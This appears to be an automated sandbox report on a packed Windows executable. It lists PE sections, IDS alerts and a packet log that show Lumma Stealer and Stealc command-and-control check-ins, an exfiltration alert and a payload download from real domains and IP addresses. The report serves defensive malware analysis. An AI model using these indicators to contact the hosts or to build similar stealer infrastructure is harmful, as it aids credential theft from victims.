add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x53054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x531f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x51000	0x24800	ebcab49201d390f59ace85eb49cbe9aa	False	0.9974917059075342	data	7.983357786811918	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x52000	0x2b0	0x400	b1e85b1cd09caefc2d43268be72ef161	False	0.3603515625	data	5.183452444303608	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x53000	0x1000	0x200	19a29171433eeef17e42fd663f137134	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x54000	0x29f000	0x200	3f0858c4606e15af04fdc93cbb0b1ef1	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
zbikoyci	0x2f3000	0x198000	0x197e00	942d5460661fd6ad4c6628599e47c8f4	False	0.9945440593395648	data	7.953260117671974	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
midxtfmd	0x48b000	0x1000	0x400	b2ac65cad66d3ece941eac182a15f875	False	0.7001953125	data	5.588695717022778	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x48c000	0x3000	0x2200	c704b999a9dda40ae94a5028ec927680	False	0.06456801470588236	DOS executable (COM)	0.7563920843498845	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x52058	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-17T10:22:55.752794+0100	2058230	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz)	1	192.168.2.7	50955	1.1.1.1	53	UDP
2024-12-17T10:22:57.528530+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.7	49699	188.114.96.6	443	TCP
2024-12-17T10:22:57.528530+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49699	188.114.96.6	443	TCP
2024-12-17T10:22:58.356415+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49699	188.114.96.6	443	TCP
2024-12-17T10:22:58.356415+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49699	188.114.96.6	443	TCP
2024-12-17T10:22:59.591114+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.7	49700	188.114.96.6	443	TCP
2024-12-17T10:22:59.591114+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49700	188.114.96.6	443	TCP
2024-12-17T10:23:00.435136+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49700	188.114.96.6	443	TCP
2024-12-17T10:23:00.435136+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49700	188.114.96.6	443	TCP
2024-12-17T10:23:02.233210+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.7	49702	188.114.96.6	443	TCP
2024-12-17T10:23:02.233210+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49702	188.114.96.6	443	TCP
2024-12-17T10:23:05.869966+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.7	49703	188.114.96.6	443	TCP
2024-12-17T10:23:05.869966+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49703	188.114.96.6	443	TCP
2024-12-17T10:23:07.954779+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49703	188.114.96.6	443	TCP
2024-12-17T10:23:09.361268+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.7	49714	188.114.96.6	443	TCP
2024-12-17T10:23:09.361268+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49714	188.114.96.6	443	TCP
2024-12-17T10:23:12.286328+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.7	49721	188.114.96.6	443	TCP
2024-12-17T10:23:12.286328+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49721	188.114.96.6	443	TCP
2024-12-17T10:23:15.965417+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.7	49735	188.114.96.6	443	TCP
2024-12-17T10:23:15.965417+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49735	188.114.96.6	443	TCP
2024-12-17T10:23:21.966500+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.7	49746	188.114.96.6	443	TCP
2024-12-17T10:23:21.966500+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49746	188.114.96.6	443	TCP
2024-12-17T10:23:22.787772+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49746	188.114.96.6	443	TCP
2024-12-17T10:23:24.287978+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	49752	185.215.113.16	80	TCP
2024-12-17T10:23:40.727085+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49788	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 17, 2024 10:22:56.299048901 CET	49699	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:22:56.299110889 CET	443	49699	188.114.96.6	192.168.2.7
Dec 17, 2024 10:22:56.299200058 CET	49699	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:22:56.308193922 CET	49699	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:22:56.308209896 CET	443	49699	188.114.96.6	192.168.2.7
Dec 17, 2024 10:22:57.528456926 CET	443	49699	188.114.96.6	192.168.2.7
Dec 17, 2024 10:22:57.528529882 CET	49699	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:22:57.532717943 CET	49699	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:22:57.532727003 CET	443	49699	188.114.96.6	192.168.2.7
Dec 17, 2024 10:22:57.533036947 CET	443	49699	188.114.96.6	192.168.2.7
Dec 17, 2024 10:22:57.586683035 CET	49699	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:22:57.603897095 CET	49699	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:22:57.603943110 CET	49699	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:22:57.604130983 CET	443	49699	188.114.96.6	192.168.2.7
Dec 17, 2024 10:22:58.356435061 CET	443	49699	188.114.96.6	192.168.2.7
Dec 17, 2024 10:22:58.356538057 CET	443	49699	188.114.96.6	192.168.2.7
Dec 17, 2024 10:22:58.356841087 CET	49699	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:22:58.368186951 CET	49699	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:22:58.368186951 CET	49699	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:22:58.368236065 CET	443	49699	188.114.96.6	192.168.2.7
Dec 17, 2024 10:22:58.368253946 CET	443	49699	188.114.96.6	192.168.2.7
Dec 17, 2024 10:22:58.377023935 CET	49700	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:22:58.377072096 CET	443	49700	188.114.96.6	192.168.2.7
Dec 17, 2024 10:22:58.377444029 CET	49700	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:22:58.377444029 CET	49700	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:22:58.377480030 CET	443	49700	188.114.96.6	192.168.2.7
Dec 17, 2024 10:22:59.590982914 CET	443	49700	188.114.96.6	192.168.2.7
Dec 17, 2024 10:22:59.591114044 CET	49700	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:22:59.640116930 CET	49700	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:22:59.640150070 CET	443	49700	188.114.96.6	192.168.2.7
Dec 17, 2024 10:22:59.640475988 CET	443	49700	188.114.96.6	192.168.2.7
Dec 17, 2024 10:22:59.641644955 CET	49700	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:22:59.641752005 CET	49700	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:22:59.641769886 CET	443	49700	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:00.435167074 CET	443	49700	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:00.435203075 CET	443	49700	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:00.435302973 CET	443	49700	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:00.435302019 CET	49700	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:00.435324907 CET	443	49700	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:00.435359955 CET	49700	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:00.435373068 CET	49700	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:00.435404062 CET	443	49700	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:00.443381071 CET	443	49700	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:00.443481922 CET	49700	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:00.443494081 CET	443	49700	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:00.451735020 CET	443	49700	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:00.451848030 CET	49700	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:00.451858997 CET	443	49700	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:00.493314981 CET	49700	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:00.493326902 CET	443	49700	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:00.539849997 CET	49700	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:00.653768063 CET	443	49700	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:00.674376011 CET	443	49700	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:00.674415112 CET	443	49700	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:00.674423933 CET	49700	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:00.674462080 CET	443	49700	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:00.674508095 CET	49700	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:00.674515963 CET	443	49700	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:00.674542904 CET	443	49700	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:00.674578905 CET	49700	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:00.675035954 CET	49700	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:00.675060034 CET	443	49700	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:00.675070047 CET	49700	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:00.675075054 CET	443	49700	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:01.018946886 CET	49702	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:01.018980980 CET	443	49702	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:01.019068003 CET	49702	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:01.019519091 CET	49702	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:01.019531965 CET	443	49702	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:02.233062983 CET	443	49702	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:02.233210087 CET	49702	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:02.234499931 CET	49702	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:02.234517097 CET	443	49702	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:02.234766006 CET	443	49702	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:02.235976934 CET	49702	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:02.236152887 CET	49702	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:02.236186981 CET	443	49702	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:03.286762953 CET	443	49702	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:03.286861897 CET	443	49702	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:03.286928892 CET	49702	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:03.402980089 CET	49702	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:03.403033972 CET	443	49702	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:04.656759024 CET	49703	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:04.656816959 CET	443	49703	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:04.656898022 CET	49703	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:04.657387018 CET	49703	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:04.657402992 CET	443	49703	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:05.869821072 CET	443	49703	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:05.869966030 CET	49703	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:05.871298075 CET	49703	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:05.871320009 CET	443	49703	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:05.871567965 CET	443	49703	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:05.872898102 CET	49703	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:05.873049021 CET	49703	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:05.873080015 CET	443	49703	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:05.873491049 CET	49703	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:05.919327974 CET	443	49703	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:07.954787016 CET	443	49703	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:07.954860926 CET	443	49703	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:07.954955101 CET	49703	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:07.955108881 CET	49703	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:07.955123901 CET	443	49703	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:08.148582935 CET	49714	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:08.148617029 CET	443	49714	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:08.148710012 CET	49714	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:08.149012089 CET	49714	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:08.149029970 CET	443	49714	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:09.361174107 CET	443	49714	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:09.361268044 CET	49714	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:09.365608931 CET	49714	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:09.365641117 CET	443	49714	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:09.365892887 CET	443	49714	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:09.367085934 CET	49714	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:09.367266893 CET	49714	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:09.367320061 CET	443	49714	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:09.367387056 CET	49714	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:09.367403984 CET	443	49714	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:10.670300961 CET	443	49714	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:10.670439005 CET	443	49714	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:10.670490980 CET	49714	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:10.670562983 CET	49714	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:10.670583963 CET	443	49714	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:11.070991993 CET	49721	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:11.071037054 CET	443	49721	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:11.071166039 CET	49721	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:11.071548939 CET	49721	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:11.071568966 CET	443	49721	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:12.286216974 CET	443	49721	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:12.286328077 CET	49721	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:12.287981987 CET	49721	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:12.287987947 CET	443	49721	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:12.288569927 CET	443	49721	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:12.290232897 CET	49721	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:12.290345907 CET	49721	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:12.290354013 CET	443	49721	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:12.939610958 CET	443	49721	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:12.939723015 CET	443	49721	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:12.939821005 CET	49721	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:12.953778028 CET	49721	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:12.953803062 CET	443	49721	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:14.753128052 CET	49735	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:14.753180981 CET	443	49735	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:14.753281116 CET	49735	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:14.753659964 CET	49735	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:14.753676891 CET	443	49735	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:15.965349913 CET	443	49735	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:15.965416908 CET	49735	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:15.966679096 CET	49735	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:15.966697931 CET	443	49735	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:15.966955900 CET	443	49735	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:15.981725931 CET	49735	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:15.982599974 CET	49735	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:15.982640982 CET	443	49735	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:15.982764959 CET	49735	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:15.982800961 CET	443	49735	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:15.982903004 CET	49735	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:15.982959986 CET	443	49735	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:15.983108997 CET	49735	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:15.983138084 CET	443	49735	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:15.983293056 CET	49735	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:15.983329058 CET	443	49735	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:15.983817101 CET	49735	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:15.983844042 CET	443	49735	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:15.983859062 CET	49735	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:15.983994007 CET	49735	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:15.984021902 CET	49735	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:16.031347036 CET	443	49735	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:16.031599045 CET	49735	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:16.031656981 CET	49735	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:16.031675100 CET	49735	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:16.075339079 CET	443	49735	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:16.075540066 CET	49735	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:16.075597048 CET	49735	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:16.075625896 CET	49735	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:16.123333931 CET	443	49735	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:16.123508930 CET	49735	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:16.171336889 CET	443	49735	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:16.224412918 CET	443	49735	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:20.705482006 CET	443	49735	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:20.705738068 CET	443	49735	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:20.705746889 CET	49735	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:20.705823898 CET	49735	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:20.717735052 CET	49746	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:20.717778921 CET	443	49746	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:20.717916012 CET	49746	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:20.718166113 CET	49746	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:20.718179941 CET	443	49746	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:21.966340065 CET	443	49746	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:21.966500044 CET	49746	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:21.977201939 CET	49746	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:21.977221012 CET	443	49746	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:21.977452993 CET	443	49746	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:21.983439922 CET	49746	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:21.983458042 CET	49746	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:21.983520031 CET	443	49746	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:22.787759066 CET	443	49746	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:22.787852049 CET	443	49746	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:22.787898064 CET	49746	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:22.798505068 CET	49746	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:22.798531055 CET	443	49746	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:22.798546076 CET	49746	443	192.168.2.7	188.114.96.6
Dec 17, 2024 10:23:22.798552036 CET	443	49746	188.114.96.6	192.168.2.7
Dec 17, 2024 10:23:22.825686932 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:22.945621014 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:22.945846081 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:22.945919991 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:23.065696955 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.287863016 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.287883997 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.287899971 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.287977934 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.288012028 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.288028002 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.288044930 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.288057089 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.288073063 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.288085938 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.288170099 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.288196087 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.288206100 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.288220882 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.288254976 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.408102036 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.408255100 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.408339024 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.479738951 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.479815006 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.479964972 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:24.484011889 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:24.484029055 CET	80	49752	185.215.113.16	192.168.2.7
